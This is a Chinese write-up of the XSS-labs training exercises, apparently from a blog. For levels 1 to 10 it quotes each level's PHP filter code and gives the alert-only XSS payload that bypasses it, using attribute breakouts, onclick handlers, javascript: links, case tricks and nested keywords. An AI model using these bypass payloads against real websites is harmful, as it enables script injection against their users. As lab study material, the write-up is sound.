【XSS-labs】

这里写自定义目录标题

1. 概念原理危害修复

特点

  • 一个弹窗的效果
  • XSS 就是代码对数据调试的时候的安全问题
  • JavaScript
  • 浏览器内核版本会决定能否执行js脚本
  • 产生层面:应用层

2. XSS-labs练习

1 无过滤

发现传入参数会直接在页面显示

直接构造JS语句传参

<script>alert(1)</script>

2 构造闭合

直接传参常识,发现JS语句未被执行

查看源码 ,发现php将特殊字符转化为实体的函数

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

构造闭合

"><script>alert(1)</script>

3 鼠标触发事件

将JS传入,F12查看

发现JS的<被转义了,那么如何触发JS执行

用html里面的鼠标点击触发事件执行

源代码

<input name=keyword  value='".htmlspecialchars($str)."'>
//所以playload的闭合符应该是单引号

注意用鼠标触发

'οnclick='alert(1)

4 双引号闭合

<input name=keyword  value="'.$str3.'">
//对比第三关 闭合符应该是
"onclick="alert(1)

5 href绕过

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

查看源代码

对onclick进行过滤

换一种方式

注意闭合符

"><a href="javascript:alert(/xss/)">click me!</a>

6 大小写绕过

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>

查看源代码发现之前的方式都被过滤了href同样

直接尝试到大小写绕过,发现成功

"><a hREf="javascript:alert(/xss/)">click me!</a>

7 循环过滤

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>

发现进行了小写转换,无法通过大小写进行绕过

常识循环过滤

"><scriscriptpt>alert(1)</scrscriptipt>

8 编码过滤

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

尝试编码过滤

【XSS-labs】

9 http://

if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

查看源码直接按提示 进行绕过

JavaScript:alert('1')//http://

【XSS-labs】

10 提交参数

$str11 = $_GET["t_sort"];
 
$str22=str_replace(">","",$str11);
 
$str33=str_replace("<","",$str22);
 
<input name="t_sort"  value="'.$str33.'" type="hidden">

直接用t_sort提交参数

?t_sort=click me!" type="button" οnclick="alert(/xss/)

待完善

上一篇:哈希表——字母异位词分组


下一篇:高精度数的运算问题